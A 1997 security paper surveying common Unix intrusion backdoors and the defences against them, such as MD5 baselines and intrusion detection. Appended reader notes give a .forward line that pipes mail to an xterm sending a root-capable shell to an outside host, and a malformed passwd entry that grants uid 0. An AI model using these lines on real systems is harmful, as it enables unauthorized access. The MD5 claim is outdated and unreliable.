Backdoors
By Christopher
Klaus 8/4/97
Since the
early days of intruders breaking into computers, they
have tried
to develop techniques
or backdoors that allow them to get back into the
system. In
this paper, it will be focused on many of the common
backdoors
and possible
ways to check for them. Most of focus will be on Unix
backdoors with
some discussion on future Windows NT backdoors. This
will
describe the
complexity of the issues in trying to determine the
methods
that intruders
use and the basis for administrators understanding on
how
they might be
able to stop the intruders from getting back in. When
an
administrator
understands how difficult it would be to stop intruder
once
they are in,
the appreciation of being proactive to block the intruder
from
ever getting
in becomes better understood. This is intended to
cover many
of the popular
commonly used backdoors by beginner and advanced intruders.
This is not
intended to cover every possible way to create a backdoor
as
the possibilities
are limitless.
The backdoor
for most intruders provide two or three main functions:
Be able to
get back into a machine even if the administrator tries
to
secure it, e.g.,
changing all the passwords.
Be able to
get back into the machine with the least amount of visibility.
Most backdoors
provide a way to avoid being logged and many times the
machine can appear
to have no one online even while an intruder is using
it.
Be able to
get back into the machine with the least amount of time.
Most
intruders want
to easily get back into the machine without having to
do all
the work of exploiting
a hole to gain access.
In some cases,
if the intruder may think the administrator may detect
any
installed backdoor,
they will resort to using the vulnerability repeatedly
to get on a machine
as the only backdoor. Thus not touching anything
that
may tip off the
administrator. Therefore in some cases, the
vulnerabilities
on a machine remain the only unnoticed backdoor.
Password
Cracking Backdoor
One of the
first and oldest methods of intruders used to gain not
only
access to a Unix
machine but backdoors was to run a password cracker.
This
uncovers weak
passworded accounts. All these new accounts are now
possible
backdoors into
a machine even if the system administrator locks out
the
intruder's current
account. Many times, the intruder will look for unused
accounts with
easy passwords and change the password to something
difficult.
When the administrator looked for all the weak passworded
accounts, the
accounts with modified passwords will not appear.
Thus the
administrator
will not be able to easily determine which accounts
to lock
out.
Rhosts + +
Backdoor
On networked
Unix machines, services like Rsh and Rlogin used a simple
authentication
method based on hostnames that appear in rhosts. A
user
could easily
configure which machines not to require a password to
log
into. An intruder
that gained access to someone's rhosts file could put
a
"+ +" in the
file and that would allow anyone from anywhere to log
into
that account
without a password. Many intruders use this method
especially
when NFS is exporting
home directories to the world. These accounts
become backdoors
for intruders to get back into the system. Many intruders
prefer using
Rsh over Rlogin because it is many times lacking any
logging
capability.
Many administrators check for "+ +" therefore an intruder
may
actually put
in a hostname and username from another compromised
account on
the network,
making it less obvious to spot.
Checksum and
Timestamp Backdoors
Early on, many
intruders replaced binaries with their own trojan versions.
Many system
administrators relied on time-stamping and the system
checksum
programs, e.g.,
Unix's sum program, to try to determine when a binary
file
has been modified.
Intruders have developed technology that will recreate
the same time-stamp
for the trojan file as the original file. This is
accomplished
by setting the system clock time back to the original
file's
time and then
adjusting the trojan file's time to the system clock.
Once
the binary trojan
file has the exact same time as the original, the system
clock is reset
to the current time. The sum program relies on a CRC
checksum and
is easily spoofed. Intruders have developed programs
that
would modify
the trojan binary to have the necessary original checksum,
thus fooling
the administrators. MD5 checksums is the recommended
choice
to use today
by most vendors. MD5 is based on an algorithm that
no one has
yet to date proven
can be spoofed.
Login Backdoor
On Unix, the
login program is the software that usually does the
password
authentication
when someone telnets to the machine. Intruders grabbed
the
source code to
login.c and modified it that when login compared the
user's
password with
the stored password, it would first check for a backdoor
password. If
the user typed in the backdoor password, it would allow
you to
log in regardless
of what the administrator sets the passwords to. Thus
this allowed
the intruder to log into any account, even root.
The
password backdoor
would spawn access before the user actually logged in
and
appeared in utmp
and wtmp. Therefore an intruder could be logged in
and
have shell access
without it appearing anyone is on that machine as that
account. Administrators
started noticing these backdoors especially if
they did a "strings"
command to find what text was in the login program.
Many times
the backdoor password would show up. The intruders then
encrypted or
hid the backdoor password better so it would not appear
by
just doing strings.
Many of the administrators can detect these backdoors
with MD5 checksums.
Telnetd Backdoor
When a user
telnets to the machine, inetd service listens on the
port and
receive the connection
and then passes it to in.telnetd, that then runs
login. Some
intruders knew the administrator was checking the login
program for tampering,
so they modified in.telnetd. Within in.telnetd, it
does several
checks from the user for things like what kind of terminal
the
user was using.
Typically, the terminal setting might be Xterm or
VT100.
An intruder
could backdoor it so that when the terminal was set
to
"letmein", it
would spawn a shell without requiring any authentication.
Intruders have
backdoored some services so that any connection from
a
specific source
port can spawn a shell.
Services Backdoor
Almost every
network service has at one time been backdoored by an
intruder. Backdoored
versions of finger, rsh, rexec, rlogin, ftp, even
inetd, etc.,
have been floating around forever. There are programs
that
are nothing more
than a shell connected to a TCP port with maybe a backdoor
password to gain
access. These programs sometimes replace a service
like
uucp that never
gets used or they get added to the inetd.conf file as
a new
service. Administrators
should be very wary of what services are running
and analyze the
original services by MD5 checksums.
Cronjob backdoor
Cronjob on
Unix schedules when certain programs should be run.
An intruder
could add a backdoor
shell program to run between 1 AM and 2 AM. So for
1
hour every night,
the intruder could gain access. Intruders have also
looked at legitimate
programs that typically run in cronjob and built
backdoors into
those programs as well.
Library backdoors
Almost every
UNIX system uses shared libraries. The shared libraries
are
intended to reuse
many of the same routines thus cutting down on the size
of programs.
Some intruders have backdoored some of the routines
like
crypt.c and _crypt.c.
Programs like login.c would use the crypt() routine
and if a backdoor
password was used it would spawn a shell. Therefore,
even if the administrator
was checking the MD5 of the login program, it was
still spawning
a backdoor routine and many administrators were not
checking
the libraries
as a possible source of backdoors.
One problem
for many intruders was that some administrators started
MD5
checksums of
almost everything. One method intruders used to get
around
that is to backdoor
the open() and file access routines. The backdoor
routines were
configured to read the original files, but execute the
trojan
backdoors.
Therefore, when the MD5 checksum program was reading
these
files, the checksums
always looked good. But when the system ran the
program, it executed
the trojan version. Even the trojan library itself,
could be hidden
from the MD5 checksums. One way to an administrator
could
get around this
backdoor was to statically link the MD5 checksum checker
and run on the
system. The statically linked program does not use
the
trojan shared
libraries.
Kernel backdoors
The kernel
on Unix is the core of how Unix works. The same method
used for
libraries for
bypassing MD5 checksum could be used at the kernel level,
except even a
statically linked program could not tell the difference.
A
good backdoored
kernel is probably one of the hardest to find by
administrators,
fortunately kernel backdoor scripts have not yet been
widely made available
and no one knows how wide spread they really are.
File system
backdoors
An intruder
may want to store their loot or data on a server somewhere
without the administrator
finding the files. The intruder's files can
typically contain
their toolbox of exploit scripts, backdoors, sniffer
logs, copied
data like email messages, source code, etc. To hide
these
sometimes large
files from an administrator, an intruder may patch the
files system
commands like "ls", "du", and "fsck" to hide the existence
of
certain directories
or files. At a very low level, one intruder's backdoor
created a section
on the hard drive to have a proprietary format that
was
designated as
"bad" sectors on the hard drive. Thus an intruder
could
access those
hidden files with only special tools, but to the regular
administrator,
it is very difficult to determine that the marked "bad"
sectors were
indeed storage area for the hidden file system.
Bootblock backdoors
In the PC world,
many viruses have hid themselves within the bootblock
section and most
antivirus software will check to see if the bootblock
has
been altered.
On Unix, most administrators do not have any software
that
checks the bootblock,
therefore some intruders have hidden some backdoors
in the bootblock
area.
Process hiding
backdoors
An intruder
many times wants to hide the programs they are running.
The
programs they
want to hide are commonly a password cracker or a sniffer.
There are quite
a few methods and here are some of the more common:
An intruder
may write the program to modify its own argv[] to make
it look
like another
process name.
An intruder
could rename the sniffer program to a legitimate service
like
in.syslog and
run it. Thus when an administrator does a "ps" or
looks at
what is running,
the standard service names appear.
An intruder
could modify the library routines so that "ps" does
not show
all the processes.
An intruder
could patch a backdoor or program into an interrupt
driven
routine so it
does not appear in the process table. An example backdoor
using this technique
is amod.tar.gz available on
http://star.niimm.spb.su/~maillist/bugtraq.1/0777.html
An intruder
could modify the kernel to hide certain processes as
well.
Rootkit
One of the
most popular packages to install backdoors is rootkit.
It can
easily be located
using Web search engines. From the Rootkit README,
here
are the typical
files that get installed:
z2 - removes
entries from utmp, wtmp, and lastlog.
Es - rokstar's
ethernet sniffer for sun4 based kernels.
Fix - try to
fake checksums, install with same dates/perms/u/g.
Sl - become root
via a magic password sent to login.
Ic - modified
ifconfig to remove PROMISC flag from output.
ps: - hides the
processes.
Ns - modified
netstat to hide connections to certain machines.
Ls - hides certain
directories and files from being listed.
du5 - hides how
much space is being used on your hard drive.
ls5 - hides
certain files and directories from being listed.
Network traffic
backdoors
Not only do
intruders want to hide their tracks on the machine,
but also
they want to
hide their network traffic as much as possible. These
network
traffic backdoors
sometimes allow an intruder to gain access through a
firewall. There
are many network backdoor programs that allow an intruder
to set up on
a certain port number on a machine that will allow access
without ever
going through the normal services. Because the traffic
is
going to a non-standard
network port, the administrator can overlook the
intruder's traffic.
These network traffic backdoors are typically using
TCP, UDP, and
ICMP, but it could be many other kinds of packets.
TCP Shell Backdoors
The intruder
can set up these TCP Shell backdoors on some high port
number
possibly where
the firewall is not blocking that TCP port. Many times,
they will be
protected with a password just so that an administrator
that
connects to it,
will not immediately see shell access. An administrator
can look for
these connections with netstat to see what ports are
listening
and where current
connections are going to and from. Many times, these
backdoors allow
an intruder to get past TCP Wrapper technology. These
backdoors could
be run on the SMTP port, which many firewalls allow
traffic
to pass for e-mail.
UDP Shell Backdoors
Administrator
many times can spot a TCP connection and notice the
odd
behavior, while
UDP shell backdoors lack any connection so netstat would
not show an intruder
accessing the Unix machine. Many firewalls have been
configured to
allow UDP packets for services like DNS through. Many
times,
intruders will
place the UDP Shell backdoor on that port and it will
be
allowed to by-pass
the firewall.
ICMP Shell
Backdoors
Ping is one
of the most common ways to find out if a machine is
alive by
sending and receiving
ICMP packets. Many firewalls allow outsiders to ping
internal machines.
An intruder can put data in the Ping ICMP packets
and
tunnel a shell
between the pinging machines. An administrator may
notice a
flurry of Ping
packets, but unless the administrator looks at the data
in
the packets,
an intruder can be unnoticed.
Encrypted Link
An administrator
can set up a sniffer trying to see data appears as someone
accessing a shell,
but an intruder can add encryption to the Network
traffic backdoors
and it becomes almost impossible to determine what is
actually being
transmitted between two machines.
Windows NT
Because Windows
NT does not easily allow multiple users on a single
machine
and remote access
similar as Unix, it becomes harder for the intruder
to
break into Windows
NT, install a backdoor, and launch an attack from it.
Thus you will
find more frequently network attacks that are spring
boarded
from a Unix box
than Windows NT. As Windows NT advances in multi-user
technologies,
this may give a higher frequency of intruders who use
Windows
NT to their advantage.
And if this does happen, many of the concepts from
Unix backdoors
can be ported to Windows NT and administrators can be
ready
for the intruder.
Today, there are already telnet daemons available
for
Windows NT.
With Network Traffic backdoors, they are very feasible
for
intruders to
install on Windows NT.
Solutions
As backdoor
technology advances, it becomes even harder for administrators
to determine
if an intruder has gotten in or if they have been successfully
locked out.
Assessment
One of the
first steps in being proactive is to assess how vulnerable
your
network is, thus
being able to figure out what holes exist that should
be
fixed. Many
commercial tools exist to help scan and audit the network
and
systems for vulnerabilities.
Many companies could dramatically improve
their security
if they only installed the security patches made freely
available by
their vendors.
MD5 Baselines
One necessary
component of a system scanner is MD5 checksum baselines.
This MD5 baseline
should be built up before a hacker attack with clean
systems. Once
a hacker is in and has installed backdoors, trying to
create
a baseline after
the fact could incorporate the backdoors into the
baseline. Several
companies had been hacked and had backdoors installed
on
their systems
for many months. Overtime, all the backups of the systems
contained the
backdoors. When some of these companies found out
they had
a hacker, they
restored a backup in hopes of removing any backdoors.
The
effort was futile
since they were restoring all the files, even the
backdoored ones.
The binary baseline comparison needs to be done before
an
attack happens.
Intrusion detection
Intrusion detection
is becoming more important as organizations are hooking
up and allowing
connections to some of their machines. Most of the
older
intrusion detection
technology was log-based events. The latest intrusion
detection system
(IDS) technology is based on real-time sniffing and
network traffic
security analysis. Many of the network traffic backdoors
can now easily
be detected. The latest IDS technology can take a
look at
the DNS UDP packets
and determine if it matches the DNS protocol requests.
If the data
on the DNS port does not match the DNS protocol, an
alert flag
can be signaled
and the data captured for further analysis. The same
principle can
be applied to the data in an ICMP packet to see if it
is the
normal ping data
or if it is carrying encrypted shell session.
Boot from CD-ROM.
Some administrators
may want to consider booting from CD-ROM thus
eliminating the
possibility of an intruder installing a backdoor on
the
CD-ROM. The
problem with this method is the cost and time of implementing
this solution
enterprise wide.
Vigilant
Because the
security field is changing so fast, with new vulnerabilities
being announced
daily and intruders are constantly designing new attack
and
backdoor techniques,
no security technology is effective without vigilance.
Be aware that
no defense is foolproof, and that there is no substitute
for
diligent attention.
-------------------------------------------------------------------------
you may want
to add:
.forward
Backdoor
On Unix
machines, placing commands into the .forward file was
also
a common
method of regaining access. For the account ``username''
a .forward
file might be constructed as follows:
\username
|"/usr/local/X11/bin/xterm
-disp hacksys.other.dom:0.0 -e /bin/sh"
permutations
of this method include alteration of the systems mail
aliases file
(most commonly located at /etc/aliases). Note that
this is a
simple permutation, the more advanced can run a simple
script from
the forward file that can take arbitrary commands via
stdin (after
minor preprocessing).
PS: The above
method is also useful gaining access a companies
mailhub
(assuming there is a shared a home directory FS on
the client
and server).
> Using
smrsh can effectively negate this backdoor (although
it's quite
> possibly
still a problem if you allow things like elm's filter
or
> procmail
which can run programs themselves...).
---------------------------------------------------------------------------
you may want
to add this "feature" that can act as a backdoor:
when specifying
a wrong uid/gid in the /etc/password file,
most login(1)
implementations will fail to detect the wrong
uid/gid and atoi(3)
will set uid/gid to 0, giving superuser
privileges.
example:
rmartin:x:x50:50:R.
Martin:/home/rmartin:/bin/tcsh
on Linux boxes,
this will give uid 0 to user rmartin.
|